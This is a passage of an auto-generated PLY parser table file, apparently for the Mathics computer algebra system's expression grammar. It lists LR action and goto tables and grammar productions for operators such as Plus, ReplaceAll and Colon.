8,39,40,43,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,188,194,195,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,317,318,319,320,321,322,324,325,326,329,331,332,335,343,344,345,346,347,348,349,351,352,353,354,355,356,],[-123,-126,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,-181,-179,-182,-177,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,-180,322,-194,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-189,-191,-192,-187,-185,-183,-195,-176,-151,-168,-154,-150,-108,-193,-164,-166,-135,-149,-129,-128,-160,-188,-190,-186,-184,-110,]),'ReplaceAll':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,175,-120,-118,-142,-141,-157,-140,175,175,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,175,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,175,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,175,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,175,-66,-63,175,175,-51,175,-6,175,-91,-78,-172,-101,-72,175,175,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,175,-21,-27,-97,-96,175,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,175,-81,-76,-19,-85,175,-3,-100,-74,-145,-61,-2,175,-134,-102,-20,-42,-50,-75,175,-53,-67,-130,-131,-49,-86,-44,-12,175,-33,-30,-82,-83,175,-4,-70,175,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,175,175,175,-135,-149,-129,-128,-160,-110,]),'Colon':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,176,-120,-118,-142,-141,-157,-140,176,176,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,176,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,176,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,176,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,176,-66,-63,176,176,-51,-84,-6,176,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,176,-21,-27,-97,-96,176,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,176,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,176,-134,-102,-20,-42,-50,-75,176,-53,-67,-130,-131,-49,-86,-44,-12,176,-33,-30,-82,-83,176,-4,-70,176,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,176,176,176,-135,-149,-129,-128,-160,-110,]),'Decrement':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[32,32,-123,32,32,-126,32,32,32,-125,-122,-124,32,32,32,-119,32,32,32,-121,32,32,32,178,32,32,32,-120,-118,32,178,178,178,178,178,32,-179,32,32,178,32,32,178,178,178,178,32,-127,178,178,178,178,178,32,32,32,-16,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,-68,32,32,32,32,32,32,32,32,32,-137,32,32,32,32,-69,32,32,32,32,32,32,32,32,-106,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,-17,32,-39,32,32,32,32,32,32,178,32,32,32,-45,-18,32,32,32,32,32,32,32,32,32,-89,32,32,32,32,32,32,32,32,32,-169,32,32,32,32,32,-107,-22,178,178,178,32,32,178,32,-180,32,32,32,32,32,-194,32,-175,178,32,178,-105,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,-64,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,-172,178,178,178,178,-171,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,32,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,-130,-131,178,178,178,178,178,178,178,32,178,178,178,178,178,178,-109,32,-122,178,178,-189,-191,-192,-187,-185,-183,32,-195,-176,178,32,32,-168,32,32,178,-108,178,32,32,32,32,32,-193,178,178,178,178,-129,-128,178,-188,-190,-186,-184,-110,]),} _lr_action = { } for _k, _v in _lr_action_items.items(): for _x,_y in zip(_v[0],_v[1]): if not _x in _lr_action: _lr_action[_x] = { } _lr_action[_x][_k] = _y del _lr_action_items _lr_goto_items = {'box':([8,38,40,41,46,189,190,191,192,193,196,323,339,340,341,342,],[39,188,39,195,39,317,318,319,320,321,324,343,352,353,354,355,]),'boxTOKEN':([8,40,46,],[38,38,38,]),'form':([8,38,40,41,46,189,190,191,192,193,196,323,339,340,341,342,],[42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,]),'sequence':([29,169,304,],[181,303,336,]),'expr':([0,1,3,4,6,7,8,13,14,15,17,19,20,22,23,25,26,27,28,29,32,33,34,35,36,37,38,40,41,43,45,46,47,48,49,50,51,53,54,55,56,57,58,59,60,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,86,87,88,89,90,91,92,93,94,97,98,99,100,103,104,105,106,107,108,109,110,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,137,139,140,141,142,143,144,145,146,147,148,149,151,152,153,154,155,156,157,158,159,162,163,164,165,166,167,168,169,170,172,173,174,175,176,178,179,180,183,184,185,186,187,189,190,191,192,193,196,198,200,201,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,239,240,241,242,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,296,297,298,299,300,301,302,304,305,306,307,308,309,310,312,315,316,323,326,327,328,330,331,332,337,338,339,340,341,342,344,345,346,347,351,],[26,33,34,35,36,37,43,47,48,49,50,53,54,55,56,57,145,179,180,183,186,145,145,145,145,145,43,43,43,145,198,43,145,145,145,145,201,145,145,145,145,145,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,239,240,241,242,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,264,265,266,267,53,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,145,283,284,285,179,286,287,288,289,180,290,291,292,293,296,297,298,299,300,301,302,183,305,306,307,308,309,310,186,145,145,145,183,315,145,316,43,43,43,43,43,43,145,326,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,332,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,183,145,145,145,145,145,145,337,145,145,43,145,344,345,346,347,145,145,351,43,43,43,43,145,145,145,145,145,]),'args':([26,33,34,35,36,37,43,47,48,49,50,53,54,55,56,57,145,179,180,183,186,198,201,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,239,240,241,242,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,296,297,298,299,300,301,302,305,306,307,308,309,310,315,316,326,332,337,344,345,346,347,351,],[111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,]),'boxes':([8,40,46,],[44,194,199,]),'sequence1':([29,169,184,304,],[182,182,313,182,]),'pattern':([0,1,3,4,6,7,8,13,14,15,17,19,20,22,23,25,26,27,28,29,32,33,34,35,36,37,38,40,41,43,45,46,47,48,49,50,51,53,54,55,56,57,58,59,60,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,86,87,88,89,90,91,92,93,94,97,98,99,100,103,104,105,106,107,108,109,110,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,137,139,140,141,142,143,144,145,146,147,148,149,151,152,153,154,155,156,157,158,159,162,163,164,165,166,167,168,169,170,172,173,174,175,176,178,179,180,183,184,185,186,187,189,190,191,192,193,196,198,200,201,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,239,240,241,242,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,296,297,298,299,300,301,302,304,305,306,307,308,309,310,312,315,316,323,326,327,328,330,331,332,337,338,339,340,341,342,344,345,346,347,351,],[10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,314,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,]),'position':([26,33,34,35,36,37,43,47,48,49,50,53,54,55,56,57,145,179,180,183,186,198,201,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,239,240,241,242,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,296,297,298,299,300,301,302,305,306,307,308,309,310,315,316,326,332,337,344,345,346,347,351,],[177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,]),'Expression':([0,],[24,]),} _lr_goto = { } for _k, _v in _lr_goto_items.items(): for _x,_y in zip(_v[0],_v[1]): if not _x in _lr_goto: _lr_goto[_x] = { } _lr_goto[_x][_k] = _y del _lr_goto_items _lr_productions = [ ("S' -> Expression","S'",1,None,None,None), ('expr -> expr AddTo expr','expr',3,'p_AddTo_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Alternatives expr','expr',3,'p_Alternatives_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr And expr','expr',3,'p_And_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr op_And expr','expr',3,'p_And_infix','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr Apply1 expr','expr',3,'p_Apply_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr RawBackslash expr','expr',3,'p_Backslash_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Because expr','expr',3,'p_Because_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Cap expr','expr',3,'p_Cap_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr CenterDot expr','expr',3,'p_CenterDot_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr CircleDot expr','expr',3,'p_CircleDot_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr CircleMinus expr','expr',3,'p_CircleMinus_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr CirclePlus expr','expr',3,'p_CirclePlus_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr CircleTimes expr','expr',3,'p_CircleTimes_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Colon expr','expr',3,'p_Colon_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Condition expr','expr',3,'p_Condition_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr ConjugateTranspose','expr',2,'p_ConjugateTranspose_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr HermitianConjugate','expr',2,'p_ConjugateTranspose_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr Conjugate','expr',2,'p_Conjugate_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Coproduct expr','expr',3,'p_Coproduct_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Cross expr','expr',3,'p_Cross_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Cup expr','expr',3,'p_Cup_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Decrement','expr',2,'p_Decrement_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> Del expr','expr',2,'p_Del_prefix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Diamond expr','expr',3,'p_Diamond_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr DivideBy expr','expr',3,'p_DivideBy_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr RawDot expr','expr',3,'p_Dot_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr DoubleLeftTee expr','expr',3,'p_DoubleLeftTee_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr DoubleRightTee expr','expr',3,'p_DoubleRightTee_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr DoubleVerticalBar expr','expr',3,'p_DoubleVerticalBar_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Element expr','expr',3,'p_Element_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr op_Equal expr','expr',3,'p_Equal_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr LongEqual expr','expr',3,'p_Equal_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr Equal expr','expr',3,'p_Equal_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',928), ('expr -> expr Equivalent expr','expr',3,'p_Equivalent_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> Exists expr','expr',2,'p_Exists_prefix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Factorial2','expr',2,'p_Factorial2_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Factorial','expr',2,'p_Factorial_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> ForAll expr','expr',2,'p_ForAll_prefix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr RawAmpersand','expr',2,'p_Function_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr op_GreaterEqual expr','expr',3,'p_GreaterEqual_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr GreaterEqual expr','expr',3,'p_GreaterEqual_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr GreaterSlantEqual expr','expr',3,'p_GreaterEqual_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',928), ('expr -> expr Greater expr','expr',3,'p_Greater_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Implies expr','expr',3,'p_Implies_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Increment','expr',2,'p_Increment_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Intersection expr','expr',3,'p_Intersection_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr LeftTee expr','expr',3,'p_LeftTee_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr op_LessEqual expr','expr',3,'p_LessEqual_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr LessEqual expr','expr',3,'p_LessEqual_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr LessSlantEqual expr','expr',3,'p_LessEqual_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',928), ('expr -> expr Less expr','expr',3,'p_Less_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr MapAll expr','expr',3,'p_MapAll_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Map expr','expr',3,'p_Map_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr MinusPlus expr','expr',3,'p_MinusPlus_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Nand expr','expr',3,'p_Nand_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr NonCommutativeMultiply expr','expr',3,'p_NonCommutativeMultiply_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Nor expr','expr',3,'p_Nor_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr NotDoubleVerticalBar expr','expr',3,'p_NotDoubleVerticalBar_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr NotElement expr','expr',3,'p_NotElement_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> NotExists expr','expr',2,'p_NotExists_prefix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr NotVerticalBar expr','expr',3,'p_NotVerticalBar_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr op_Or expr','expr',3,'p_Or_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Or expr','expr',3,'p_Or_infix','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr PatternTest expr','expr',3,'p_PatternTest_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr PlusMinus expr','expr',3,'p_PlusMinus_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Plus expr','expr',3,'p_Plus_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Power expr','expr',3,'p_Power_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr RepeatedNull','expr',2,'p_RepeatedNull_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Repeated','expr',2,'p_Repeated_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr ReplaceAll expr','expr',3,'p_ReplaceAll_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr ReplaceRepeated expr','expr',3,'p_ReplaceRepeated_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr RightTee expr','expr',3,'p_RightTee_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr op_RuleDelayed expr','expr',3,'p_RuleDelayed_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr RuleDelayed expr','expr',3,'p_RuleDelayed_infix','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr op_Rule expr','expr',3,'p_Rule_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Rule expr','expr',3,'p_Rule_infix','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr SameQ expr','expr',3,'p_SameQ_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr SmallCircle expr','expr',3,'p_SmallCircle_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> Square expr','expr',2,'p_Square_prefix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Star expr','expr',3,'p_Star_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr StringExpression expr','expr',3,'p_StringExpression_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr StringJoin expr','expr',3,'p_StringJoin_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Subset expr','expr',3,'p_Subset_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr SubtractFrom expr','expr',3,'p_SubtractFrom_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr SuchThat expr','expr',3,'p_SuchThat_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Superset expr','expr',3,'p_Superset_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Therefore expr','expr',3,'p_Therefore_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr TimesBy expr','expr',3,'p_TimesBy_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Transpose','expr',2,'p_Transpose_postfix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr op_Unequal expr','expr',3,'p_Unequal_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr NotEqual expr','expr',3,'p_Unequal_innequality','/home/angus/prog/Mathics/mathics/core/parser.py',927), ('expr -> expr Union expr','expr',3,'p_Union_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr UnsameQ expr','expr',3,'p_UnsameQ_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr UpSetDelayed expr','expr',3,'p_UpSetDelayed_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr UpSet expr','expr',3,'p_UpSet_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Vee expr','expr',3,'p_Vee_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr VerticalBar expr','expr',3,'p_VerticalBar_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr VerticalSeparator expr','expr',3,'p_VerticalSeparator_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr VerticalTilde expr','expr',3,'p_VerticalTilde_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Wedge expr','expr',3,'p_Wedge_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Xnor expr','expr',3,'p_Xnor_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('expr -> expr Xor expr','expr',3,'p_Xor_infix','/home/angus/prog/Mathics/mathics/core/parser.py',926), ('Expression -> expr','Expression',1,'p_Expression','/home/angus/prog/Mathics/mathics/core/parser.py',1027), ('Expression -> <empty>','Expression',0,'p_Empty','/home/angus/prog/Mathics/mathics/core/parser.py',1031), ('expr -> RawLeftParenthesis expr RawRightParenthesis','expr',3,'p_parenthesis','/home/angus/prog/Mathics/mathics/core/parser.py',1035), ('expr -> expr args','expr',2,'p_call','/home/angus/prog/Mathics/mathics/core/parser.py',1041), ('expr -> expr position','expr',2,'p_part','/home/angus/prog/Mathics/mathics/core/parser.py',1047), ('args -> RawLeftBracket sequence RawRightBracket','args',3,'p_args','/home/angus/prog/Mathics/mathics/core/parser.py',1051), ('expr -> RawLeftBrace sequence RawRightBrace','expr',3,'p_list','/home/angus/prog/Mathics/mathics/core/parser.py',1055), ('position -> RawLeftBracket RawLeftBracket sequence RawRightBracket RawRightBracket','position',5,'p_position','/home/angus/prog/Mathics/mathics/core/parser.py',1059), ('sequence -> <empty>','sequence',0,'p_sequence','/home/angus/prog/Mathics/mathics/core/parser.py',1063), ('sequence -> sequence1','sequence',1,'p_sequence','/home/angus/prog/Mathics/mathics/core/parser.py',1064), ('sequence1 -> sequence1 RawComma expr','sequence1',3,'p_sequence1','/home/angus/prog/Mathics/mathics/core/parser.py',1071), ('sequence1 -> sequence1 RawComma','sequence1',2,'p_sequence1','/home/angus/prog/Mathics/mathics/core/parser.py',1072), ('sequence1 -> RawComma sequence1','sequence1',2,'p_sequence1','/home/angus/prog/Mathics/mathics/core/parser.py',1073), ('sequence1 -> expr','sequence1',1,'p_sequence1','/home/angus/prog/Mathics/mathics/core/parser.py',1074), ('sequence1 -> RawComma','sequence1',1,'p_sequence1','/home/angus/prog/Mathics/mathics/core/parser.py',1075), ('expr -> 